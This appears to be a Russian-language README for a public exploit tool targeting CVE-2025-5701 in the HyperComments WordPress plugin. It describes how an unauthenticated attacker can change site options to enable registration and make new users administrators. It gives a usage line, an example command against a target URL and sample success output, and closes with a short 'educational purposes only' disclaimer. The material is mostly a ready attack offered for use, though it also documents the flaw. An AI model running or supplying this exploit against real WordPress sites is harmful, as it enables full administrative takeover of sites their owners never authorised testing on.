CVE-2025-5701 - Эксплойт повышения привилегий без аутентификации

Критичность: КРИТИЧЕСКАЯ (CVSS 9.8)
Затронутый плагин: HyperComments для WordPress
Затронутые версии: ≤ 1.2.2

📌 Сводка об уязвимости

Плагин HyperComments для WordPress уязвим к несанкционированному изменению опций WordPress из-за отсутствия проверки прав доступа в функции hc_request_handler. Это позволяет неаутентифицированным атакующим изменять произвольные опции WordPress, например:

• Включение регистрации пользователей (users_can_register)
• Изменение роли по умолчанию, назначаемой вновь зарегистрированным пользователям (default_role)

Комбинируя эти действия, атакующий может включить регистрацию и гарантировать, что любому новому пользователю автоматически будет назначена роль Администратор.

🧨 Оценка CVSS

CVSS v3.1: 9.8 CRITICAL  
AV:N / AC:L / PR:N / UI:N / S:U / C:H / I:H / A:H

📦 Использование

CVE-2025-5701 - Unauthenticated Privilege Escalation Exploit
By: Khaled Alenazi (Nxploited)

usage: CVE-2025-5701.py [-h] -u URL

CVE-2025-5701 - Unauthenticated Privilege Escalation Exploit by Khaled Alenazi (Nxploited)

options:
  -h, --help     show this help message and exit
  -u, --url URL  Target base URL (e.g., http://target-site.com)

📦 Пример

python3 CVE-2025-5701.py -u http://target-site.com

💬 Пример вывода

CVE-2025-5701 - Unauthenticated Privilege Escalation Exploit
By: Khaled Alenazi (Nxploited)

[+] Target is vulnerable (version: 1.2.2) - proceeding with exploitation.
[+] Exploit endpoint is accessible.
[+] Server response: {"result":"success"}
[+] Registration is now enabled. New users will be assigned administrator role.
[+] Register here: http://target-site.com/wp-login.php?action=register

Exploit by: Khaled Alenazi (Nxploited)

⚠️ Отказ от ответственности

Этот скрипт предоставлен только для образовательных целей. Несанкционированный доступ к системам без разрешения незаконен и неэтичен. Используйте его только в контролируемых средах или при наличии явного разрешения.

Nxploited (Khaled_alenazi)